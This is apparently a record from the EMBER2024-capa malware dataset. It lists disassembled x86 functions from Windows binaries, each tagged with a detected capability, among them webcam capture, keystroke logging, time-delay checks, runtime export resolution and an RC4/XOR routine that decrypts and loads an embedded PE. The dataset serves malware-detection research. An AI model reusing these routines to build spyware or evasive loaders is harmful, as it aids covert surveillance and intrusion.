joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46bb25
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x46bc3d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x46bc3d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0049a743
mov esi, eax
test esi, esi
je 0x46bc3d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x46bc3d
mov ecx, esi
call fcn.0046bab0
cmp edi, eax
jge 0x46bc3d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x46bbc3
mov dword [esp + 0x34], 1
jmp 0x46bc1e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x46bc3d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0046b060
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x471cc0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x471d26
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x471d26
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x471d07
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4720b0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4720e8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x472d10
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x472d59
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4731d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4aa690
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00472d80
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00472e00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00472e00
lea ecx, [esi + 0xc]
call fcn.00498be2
lea ecx, [esi + 0x10]
call fcn.00498be2
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00474390
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00474390
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00474390
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00498c57
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00498c57
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x475c5d
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4aa9b8
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [esp + 0x28]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edx, dword [esi + 0x40]
test edx, edx
setne bl
inc ebx
test eax, eax
je 0x475c73
or bh, 0x80
lea ecx, [esp + 0xc]
call fcn.0047bbc0
mov edx, dword [esp + 0x30]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], 0
push ecx
push edx
lea ecx, [esp + 0x14]
call fcn.0047be80
lea eax, [esp + 0xc]
push ebx
push eax
mov ecx, esi
call fcn.00475ce0
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0xe73fd0
call fcn.0047bdc0
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x47ab50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x47ab9c
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x47ab9c
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x47ab86
push eax
call ebp
test ax, ax
jl 0x47ab94
inc esi
add edi, 4
cmp esi, 6
jb 0x47ab78
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.0047a850
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x47d4c0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x47d520
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x47d520
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x47d520
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x47d520
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x47d530
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
ret
Function at 0x49b0e7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49b11f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004990fe
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004990d6
jmp 0x49b12b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x49c7d8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x49c81a
call fcn.004a2a86
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x49c81a
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x49c811
xor eax, eax
jmp 0x49c822
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049c828
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a2fb6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a2fe4
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x4a3002
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a2f1c
jmp 0x4a3002
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a3002
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a2f1c
test edi, edi
mov eax, edi
jne 0x4a2fec
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10153c25
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1019554c]
jne 0x10153c2f
repz ret
jmp fcn.10155d1a

Function at 0x1015619b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1015363b
and dword [ebp - 4], 0
cmp dword [0x10196b0c], 0
mov ebx, eax
jne 0x1015624c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101562fd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101562fd
push eax
call fcn.101535c9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10196b0c], eax
call esi
push eax
call fcn.101535c9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10196b10], eax
call esi
push eax
call fcn.101535c9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10196b14], eax
call esi
push eax
call fcn.101535c9
pop ecx
mov dword [0x10196b1c], eax
test eax, eax
je 0x1015624c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101535c9
pop ecx
mov dword [0x10196b18], eax
mov eax, dword [0x10196b18]
cmp eax, ebx
je 0x101562a4
cmp dword [0x10196b1c], ebx
je 0x101562a4
push eax
call fcn.10153644
push dword [0x10196b1c]
mov esi, eax
call fcn.10153644
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101562a4
test edi, edi
je 0x101562a4
call esi
test eax, eax
je 0x1015629b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1015629b
test byte [ebp - 0xc], 1
jne 0x101562a4
or dword [ebp + 0x10], 0x200000
jmp 0x101562dd
mov eax, dword [0x10196b10]
cmp eax, ebx
je 0x101562dd
push eax
call fcn.10153644
pop ecx
test eax, eax
je 0x101562dd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101562dd
mov eax, dword [0x10196b14]
cmp eax, ebx
je 0x101562dd
push eax
call fcn.10153644
pop ecx
test eax, eax
je 0x101562dd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10196b0c]
call fcn.10153644
pop ecx
test eax, eax
je 0x101562fd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101562ff
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1015810e
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x10194f14]
add eax, 0xffffda07
mov dword [0x10194f14], eax
call fcn.10001070
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
jne 0x10158284
lea eax, [esp + 0x38]
mov dword [0x10194f14], 0xbdc
mov dword [esp + 0x20], eax
call fcn.101593a1
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x1015827c
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.10158333
lea ecx, [0x1015960c]
mov dword [0x10194f18], 0xb1d
mov edx, dword [esp + 0x28]
mov dword [esp + 0x78], edx
mov dword [esp + 0x48], 0x135e00
mov edx, dword [0x10194f00]
mov dword [esp + 0x8c], edx
mov edx, dword [0x10194f04]
mov dword [esp + 0x60], edx
mov edx, dword [0x10194f08]
mov dword [esp + 0x7c], edx
mov edx, dword [0x10194f0c]
mov dword [esp + 0x74], edx
mov dword [0x10194f14], 0x135a
mov edx, dword [0x10194f10]
mov dword [esp + 0x50], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1015820e
mov eax, dword [esp + 0x10]
add eax, 0x3c
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [esp + 0x10]
cmp dword [edx + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x10158222
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x101581db
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x38], ecx
mov edx, dword [esp + 8]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x54], esi
mov dword [0x10194f14], 0x111c
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.101585ce
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x10194f14]
add ecx, 0xfffff0fe
mov dword [0x10194f14], ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x10158333
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
mov dword [0x10194f14], 0x483
mov dword [ebp - 0x130], eax
xor eax, eax
mov dword [0x10194f18], 0xa86
mov ecx, eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
mov esi, eax
shl esi, 8
mov edi, edx
add edi, esi
add edi, 0xd0
mov esi, eax
add esi, 1
shl eax, 8
add edx, eax
add edx, 0xf8
mov eax, dword [edx]
movzx edx, word [edi]
xor edx, eax
add edx, ecx
cmp esi, 0x37f
mov eax, edx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], esi
jne 0x1015836c
lea eax, [0x1015a6a9]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x10194f18], 0x18c2
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x144], ecx
call fcn.10158cda
mov dword [0x10194f14], 0x2e3
mov dword [0x10194f18], 0x2085
call fcn.1015887f
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], eax
call fcn.10158ad2
mov ecx, eax
mov dword [0x10194f34], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
mov esi, eax
shl esi, 8
mov edi, edx
add edi, esi
add edi, 0xf8
mov esi, dword [edi]
mov edi, eax
shl edi, 8
mov ebx, edx
add ebx, edi
add ebx, 0xc0
mov edi, dword [ebx]
mov ebx, eax
shl ebx, 8
add edx, ebx
add edx, 0xd0
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.1015955e
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x37f
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x10158469
lea eax, [0x1015a6b7]
mov ecx, 0x20
lea edx, [ebp - 0x12c]
mov dword [0x10194f14], 0x1ad9
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.10159091
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.10158e54
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x10ec0
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov ecx, dword [0x10194f18]
add ecx, 0xfffff632
mov dword [0x10194f14], ecx
mov dword [edx + 4], 0x135e00
mov ecx, dword [ebp - 0x148]
add ecx, 0xacc4
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f40
mov ecx, dword [0x10194f14]
add ecx, 0xffffe960
mov dword [0x10194f18], ecx
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101585ce
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x1015a6a9]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x10194f14], 0x90d
mov dword [0x10194f18], 0xb59
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.10158cda
mov eax, dword [0x10194f14]
add eax, 0x1da2
mov dword [0x10194f18], eax
call fcn.1015887f
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10158ad2
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
jne 0x1015865a
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x3c]
mov dword [0x10194f18], 0xc01
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10194f14], 0x1a95
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.10158923
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
mov dword [0x10194f18], 0x539
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x2c], ecx
mov ecx, dword [0x10194f18]
add ecx, 0xffffeed3
mov dword [0x10194f18], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x38], ecx
mov dword [0x10194f14], 0x147
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x10158650
mov eax, dword [ebp - 0x44]
add eax, 0x165d
mov dword [0x10194f18], 0x1479
mov dword [ebp - 0x40], eax
jmp 0x10158650
Function at 0x10158e54
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10194f1c], 0
mov dword [0x10194f20], 0
mov dword [0x10194f2c], 0
mov ebx, dword [0x10194f14]
add ebx, 0x5f1
mov dword [0x10194f14], ebx
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x10158fd3
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add ecx, 0x214e
mov dword [0x10194f14], ecx
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv edi
mov dword [0x10194f1c], edx
mov dword [0x10194f18], 0xe94
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x10194f20], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10194f24], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x10194f14], 0x20fe
mov cl, byte [0x10194f24]
mov edx, dword [0x10194f20]
mov byte [edi + edx], cl
mov edx, dword [0x10194f1c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10194f20]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10194f2c], ebx
mov dword [0x10194f14], 0x211
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov byte [0x10194f31], ch
mov byte [0x10194f32], cl
mov dword [0x10194f14], 0x1106
xor ch, cl
mov byte [0x10194f30], ch
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x10158fd3
mov eax, dword [0x10194f14]
mov ecx, dword [0x10194f20]
mov edx, dword [0x10194f1c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], esi
jmp 0x10158ec2
mov eax, dword [0x10194f18]
add eax, 0x221
mov dword [0x10194f18], eax
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10159091
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10194f20], 0
mov byte [0x10194f24], 0
mov dword [0x10194f14], 0x9b7
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x10194f1c], 0
mov dword [ebp - 0x1c], eax
jmp 0x101590e9
xor eax, eax
mov dword [0x10194f1c], 0
mov dword [ebp - 0x20], eax
jmp 0x1015911b
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10194f14], 0x1a34
mov eax, dword [0x10194f1c]
add eax, 1
mov dword [0x10194f1c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101590e9
jmp 0x101590d8
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10194f28], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10194f18], 0xa70
mov edi, dword [0x10194f20]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10194f28], esi
mov dword [0x10194f14], 0x2605
mov eax, esi
cdq
idiv ecx
mov dword [0x10194f20], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x10194f24], cl
mov dword [0x10194f18], 0x1d7f
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x10194f14], 0x14bd
mov cl, byte [0x10194f24]
mov esi, dword [0x10194f20]
mov byte [ebx + esi], cl
mov esi, dword [0x10194f1c]
add esi, 1
mov dword [0x10194f1c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1015911b
mov dword [0x10194f14], 0x20f6
mov dword [0x10194f18], 0xbda
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret